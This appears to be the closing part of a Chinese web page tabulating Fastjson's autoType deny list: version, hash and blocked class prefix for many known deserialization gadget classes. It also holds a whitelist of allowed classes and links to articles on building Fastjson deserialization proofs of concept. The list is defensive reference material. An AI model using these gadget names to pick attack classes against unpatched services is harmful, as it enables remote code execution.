    1.2.48 1459860845934817624 0x144277b467723158L java.net.InetAddress
    1.2.48 8409640769019589119 0x74b50bb9260e31ffL java.lang.Class
    1.2.49 4904007817188630457 0x440e89208f445fb9L com.alibaba.fastjson.annotation
    1.2.59 5100336081510080343 0x46c808a4b5841f57L org.apache.cxf.jaxrs.provider.
    1.2.59 6456855723474196908 0x599b5c1213a099acL ch.qos.logback.
    1.2.59 8537233257283452655 0x767a586a5107feefL net.sf.ehcache.transaction.manager.
    1.2.60 3688179072722109200 0x332f0b5369a18310L com.zaxxer.hikari.
    1.2.61 -4401390804044377335 0xc2eb1e621f439309L flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
    1.2.61 -1650485814983027158 0xe9184be55b1d962aL org.apache.openjpa.ee.
    1.2.61 -1251419154176620831 0xeea210e8da2ec6e1L oracle.jdbc.rowset.OracleJDBCRowSet
    1.2.61 -9822483067882491 0xffdd1a80f1ed3405L com.mysql.cj.jdbc.admin.
    1.2.61 99147092142056280 0x1603dc147a3e358L oracle.jdbc.connector.OracleManagedConnectionFactory
    1.2.61 3114862868117605599 0x2b3a37467a344cdfL org.apache.ibatis.parsing.
    1.2.61 4814658433570175913 0x42d11a560fc9fba9L org.apache.axis2.jaxws.spi.handler.
    1.2.61 6511035576063254270 0x5a5bd85c072e5efeL jodd.db.connection.
    1.2.61 8925522461579647174 0x7bddd363ad3998c6L org.apache.commons.configuration.JNDIConfiguration
    1.2.62 -9164606388214699518 0x80d0c70bcc2fea02L org.apache.ibatis.executor.
    1.2.62 -8649961213709896794 0x87f52a1b07ea33a6L net.sf.cglib.
    1.2.62 -6316154655839304624 0xa85882ce1044c450L oracle.net.
    1.2.62 -5764804792063216819 0xafff4c95b99a334dL com.mysql.cj.jdbc.MysqlDataSource
    1.2.62 -4608341446948126581 0xc00be1debaf2808bL jdk.internal.
    1.2.62 -4438775680185074100 0xc2664d0958ecfe4cL aj.org.objectweb.asm.
    1.2.62 -3319207949486691020 0xd1efcdf4b3316d34L oracle.jdbc.
    1.2.62 -2192804397019347313 0xe1919804d5bf468fL org.apache.commons.collections.comparators.
    1.2.62 -2095516571388852610 0xe2eb3ac7e56c467eL net.sf.ehcache.hibernate.
    1.2.62 4750336058574309 0x10e067cd55c5e5L com.mysql.cj.log.
    1.2.62 218512992947536312 0x3085068cb7201b8L org.h2.jdbcx.
    1.2.62 823641066473609950 0xb6e292fa5955adeL org.apache.commons.logging.
    1.2.62 1534439610567445754 0x154b6cb22d294cfaL org.apache.ibatis.reflection.
    1.2.62 1818089308493370394 0x193b2697eaaed41aL org.h2.server.
    1.2.62 2164696723069287854 0x1e0a8c3358ff3daeL org.apache.ibatis.datasource.
    1.2.62 2653453629929770569 0x24d2f6048fef4e49L org.objectweb.asm.
    1.2.62 2836431254737891113 0x275d0732b877af29L flex.messaging.util.concurrent.
    1.2.62 3089451460101527857 0x2adfefbbfe29d931L org.apache.ibatis.javassist.
    1.2.62 3256258368248066264 0x2d308dbbc851b0d8L java.lang.UNIXProcess
    1.2.62 3718352661124136681 0x339a3e0b6beebee9L org.apache.ibatis.ognl.
    1.2.62 4046190361520671643 0x3826f4b2380c8b9bL com.mysql.cj.jdbc.MysqlConnectionPoolDataSource
    1.2.62 4841947709850912914 0x43320dc9d2ae0892L org.codehaus.jackson.
    1.2.62 6280357960959217660 0x5728504a6d454ffcL org.apache.ibatis.scripting.
    1.2.62 6534946468240507089 0x5ab0cb3071ab40d1L org.apache.commons.proxy.
    1.2.62 6734240326434096246 0x5d74d3e5b9370476L com.mysql.cj.jdbc.MysqlXADataSource
    1.2.62 7123326897294507060 0x62db241274397c34L org.apache.commons.collections.functors.
    1.2.62 8488266005336625107 0x75cc60f5871d0fd3L org.apache.commons.configuration
    1.2.66 -2439930098895578154 0xde23a0809a8b9bd6L javax.script.
    1.2.66 -582813228520337988 0xf7e96e74dfa58dbcL javax.sound.
    1.2.66 -26639035867733124 0xffa15bf021f1e37cL javax.print.
    1.2.66 386461436234701831 0x55cfca0f2281c07L javax.activation.
    1.2.66 1153291637701043748 0x100150a253996624L javax.tools.
    1.2.66 1698504441317515818L 0x17924cca5227622aL javax.management.
    1.2.66 7375862386996623731L 0x665c53c311193973L org.apache.xbean.
    1.2.66 7658177784286215602L 0x6a47501ebb2afdb2L org.eclipse.jetty.
    1.2.66 8055461369741094911L 0x6fcabf6fa54cafffL javax.naming.
    1.2.67 -7775351613326101303L 0x941866e73beff4c9L org.apache.shiro.realm.
    1.2.67 -6025144546313590215L 0xac6262f52c98aa39L org.apache.http.conn.
    1.2.67 -5939269048541779808L 0xad937a449831e8a0L org.quartz.
    1.2.67 -5885964883385605994L 0xae50da1fad60a096L com.taobao.eagleeye.wrapper
    1.2.67 -3975378478825053783L 0xc8d49e5601e661a9L org.apache.http.impl.
    1.2.67 -2378990704010641148L 0xdefc208f237d4104L com.ibatis.
    1.2.67 -905177026366752536L 0xf3702a4a5490b8e8L org.apache.catalina.
    1.2.67 2660670623866180977L 0x24ec99d5e7dc5571L org.apache.http.auth.
    1.2.67 2731823439467737506L 0x25e962f1c28f71a2L br.com.anteros.
    1.2.67 3637939656440441093L 0x327c8ed7c8706905L com.caucho.
    1.2.67 4254584350247334433L 0x3b0b51ecbf6db221L org.apache.http.cookie.
    1.2.67 5274044858141538265L 0x49312bdafb0077d9L org.javasimon.
    1.2.67 5474268165959054640L 0x4bf881e49d37f530L org.apache.cocoon.
    1.2.67 5596129856135573697L 0x4da972745feb30c1L org.apache.activemq.jms.pool.
    1.2.67 6854854816081053523L 0x5f215622fb630753L org.mortbay.jetty.
    1.2.68 -3077205613010077203L 0xd54b91cc77b239edL org.apache.shiro.jndi.
    1.2.68 -2825378362173150292L 0xd8ca3d595e982bacL org.apache.ignite.cache.jta.
    1.2.68 2078113382421334967L 0x1cd6f11c6a358bb7L javax.swing.J
    1.2.68 6007332606592876737L 0x535e552d6f9700c1L org.aoju.bus.proxy.provider.
    1.2.68 9140390920032557669L 0x7ed9311d28bf1a65L java.awt.p
    1.2.68 9140416208800006522L 0x7ed9481d28bf417aL java.awt.i
    1.2.69 -8024746738719829346L 0x90a25f5baa21529eL java.io.Serializable
    1.2.69 -5811778396720452501L 0xaf586a571e302c6bL java.io.Closeable
    1.2.69 -3053747177772160511L 0xd59ee91f0b09ea01L oracle.jms.AQ
    1.2.69 -2114196234051346931L 0xe2a8ddba03e69e0dL java.util.Collection
    1.2.69 -2027296626235911549L 0xe3dd9875a2dc5283L java.lang.Iterable
    1.2.69 -2939497380989775398L 0xd734ceb4c3e9d1daL java.lang.Object
    1.2.69 -1368967840069965882L 0xed007300a7b227c6L java.lang.AutoCloseable
    1.2.69 2980334044947851925L 0x295c4605fd1eaa95L java.lang.Readable
    1.2.69 3247277300971823414L 0x2d10a5801b9d6136L java.lang.Cloneable
    1.2.69 5183404141909004468L 0x47ef269aadc650b4L java.lang.Runnable
    1.2.69 7222019943667248779L 0x6439c4dff712ae8bL java.util.EventListener
    1.2.70 -5076846148177416215L 0xb98b6b5396932fe9L org.apache.commons.collections4.Transformer
    1.2.70 -4703320437989596122L 0xbeba72fb1ccba426L org.apache.commons.collections4.functors
    1.2.70 -4314457471973557243L 0xc41ff7c9c87c7c05L org.jdom2.transform.
    1.2.70 -2533039401923731906L 0xdcd8d615a6449e3eL org.apache.hadoop.shaded.com.zaxxer.hikari.
    1.2.70 156405680656087946L 0x22baa234c5bfb8aL com.p6spy.engine.
    1.2.70 1214780596910349029L 0x10dbc48446e0dae5L org.apache.activemq.pool.
    1.2.70 3085473968517218653L 0x2ad1ce3a112f015dL org.apache.aries.transaction.
    1.2.70 3129395579983849527L 0x2b6dd8b3229d6837L org.apache.activemq.ActiveMQConnectionFactory
    1.2.70 4241163808635564644L 0x3adba40367f73264L org.apache.activemq.spring.
    1.2.70 7240293012336844478L 0x647ab0224e149ebeL org.apache.activemq.ActiveMQXAConnectionFactory
    1.2.70 7347653049056829645L 0x65f81b84c1d920cdL org.apache.commons.jelly.
    1.2.70 7617522210483516279L 0x69b6e0175084b377L org.apache.axis2.transport.jms.

    未知黑名单
    version hash hex-hash
    1.2.42 33238344207745342 0x761619136cc13eL
    1.2.67 -831789045734283466L 0xf474e44518f26736L

    已知白名单
    hash name
    0xD4788669A13AE74L java.awt.Rectangle
    0xE08EE874A26F5EAFL java.awt.Point
    0xDDAAA11FECA77B5EL java.awt.Font
    0xB81BA299273D4E6L java.awt.Color
    0xA8AAA929446FFCE4L com.alibaba.fastjson.util.AntiCollisionHashMap
    0xD0E71A6E155603C1L com.alipay.sofa.rpc.core.exception.SofaTimeOutException
    0x9F2E20FB6049A371L java.util.Collections.UnmodifiableMap
    0xD45D6F8C9017FAL java.util.concurrent.ConcurrentSkipListMap
    0x64DC636F343516DCL java.util.concurrent.ConcurrentSkipListSet
    0x7FE2B8E675DA0CEFL org.springframework.dao.CannotAcquireLockException
    0xF8C7EF9B13231FB6L org.springframework.dao.CannotSerializeTransactionException
    0x42646E60EC7E5189L org.springframework.dao.CleanupFailureDataAccessException
    0xCC720543DC5E7090L org.springframework.dao.ConcurrencyFailureException
    0xC0FE32B8DC897DE9L org.springframework.dao.DataAccessResourceFailureException
    0xDC9583F0087CC2C7L org.springframework.dao.DataIntegrityViolationException
    0x5449EC9B0280B9EFL org.springframework.dao.DataRetrievalFailureException
    0xEB7D4786C473368DL org.springframework.dao.DeadlockLoserDataAccessException
    0x44D57A1B1EF53451L org.springframework.dao.DuplicateKeyException
    0xC92D8F9129AF339BL org.springframework.dao.EmptyResultDataAccessException
    0x9DF9341F0C76702L org.springframework.dao.IncorrectResultSizeDataAccessException
    0xDB7BFFC197369352L org.springframework.dao.IncorrectUpdateSemanticsDataAccessException
    0x73FBA1E41C4C3553L org.springframework.dao.InvalidDataAccessApiUsageException
    0x76566C052E83815L org.springframework.dao.InvalidDataAccessResourceUsageException
    0x61D10AF54471E5DEL org.springframework.dao.NonTransientDataAccessException
    0x82E8E13016B73F9EL org.springframework.dao.NonTransientDataAccessResourceException
    0xE794F5F7DCD3AC85L org.springframework.dao.OptimisticLockingFailureException
    0x3F64BC3933A6A2DFL org.springframework.dao.PermissionDeniedDataAccessException
    0x863D2DD1E82B9ED9L org.springframework.dao.PessimisticLockingFailureException
    0x4BB3C59964A2FC50L org.springframework.dao.QueryTimeoutException
    0x552D9FB02FFC9DEFL org.springframework.dao.RecoverableDataAccessException
    0x21082DFBF63FBCC1L org.springframework.dao.TransientDataAccessException
    0x178B0E2DC3AE9FE5L org.springframework.dao.TransientDataAccessResourceException
    0x24AE2D07FB5D7497L org.springframework.dao.TypeMismatchDataAccessException
    0x90003416F28ACD89L org.springframework.dao.UncategorizedDataAccessException
    0x73A0BE903F2BCBF4L org.springframework.jdbc.BadSqlGrammarException
    0x7B606F16A261E1E6L org.springframework.jdbc.CannotGetJdbcConnectionException
    0xAFCB539973CEA3F7L org.springframework.jdbc.IncorrectResultSetColumnCountException
    0x4A39C6C7ACB6AA18L org.springframework.jdbc.InvalidResultSetAccessException
    0x9E404E583F254FD4L org.springframework.jdbc.JdbcUpdateAffectedIncorrectNumberOfRowsException
    0x34CC8E52316FA0CBL org.springframework.jdbc.LobRetrievalFailureException
    0xB5114C70135C4538L org.springframework.jdbc.SQLWarningException
    0x7F36112F218143B6L org.springframework.jdbc.UncategorizedSQLException
    0x26C5D923AF21E2E1L org.springframework.cache.support.NullValue
    0xD11D2A941337A7BCL org.springframework.security.oauth2.common.DefaultExpiringOAuth2RefreshToken
    0x4F0C3688E8A18F9FL org.springframework.security.oauth2.common.DefaultOAuth2AccessToken
    0xC59AA84D9A94C640L org.springframework.security.oauth2.common.DefaultOAuth2RefreshToken
    0x1F10A70EE4065963L org.springframework.util.LinkedMultiValueMap
    0x557F642131553498L org.springframework.util.LinkedCaseInsensitiveMap
    0x8B2081CB3A50BD44L org.springframework.remoting.support.RemoteInvocation
    0x8B2081CB3A50BD44L org.springframework.remoting.support.RemoteInvocation
    0x54DC66A59269BAE1L org.springframework.security.web.savedrequest.SavedCookie
    0x111D12921C5466DAL org.springframework.security.web.csrf.DefaultCsrfToken
    0x19DCAF4ADC37D6D4L org.springframework.security.web.authentication.WebAuthenticationDetails
    0x604D6657082C1EE9L org.springframework.security.core.context.SecurityContextImpl
    0xF4AA683928027CDAL org.springframework.security.authentication.UsernamePasswordAuthenticationToken
    0x92F252C398C02946L org.springframework.security.core.authority.SimpleGrantedAuthority
    0x6B949CE6C2FE009L org.springframework.security.core.userdetails.User

    参考:

    http://xxlegend.com/2017/05/03/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

    http://www.mi1k7ea.com/2019/11/03/Fastjson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/

    http://www.mi1k7ea.com/2019/11/07/Fastjson%E7%B3%BB%E5%88%97%E4%BA%8C%E2%80%94%E2%80%941-2-22-1-2-24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#autoTypeSupport

    展开全文

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 7,100
精华内容 2,840
关键字:

反序列化漏洞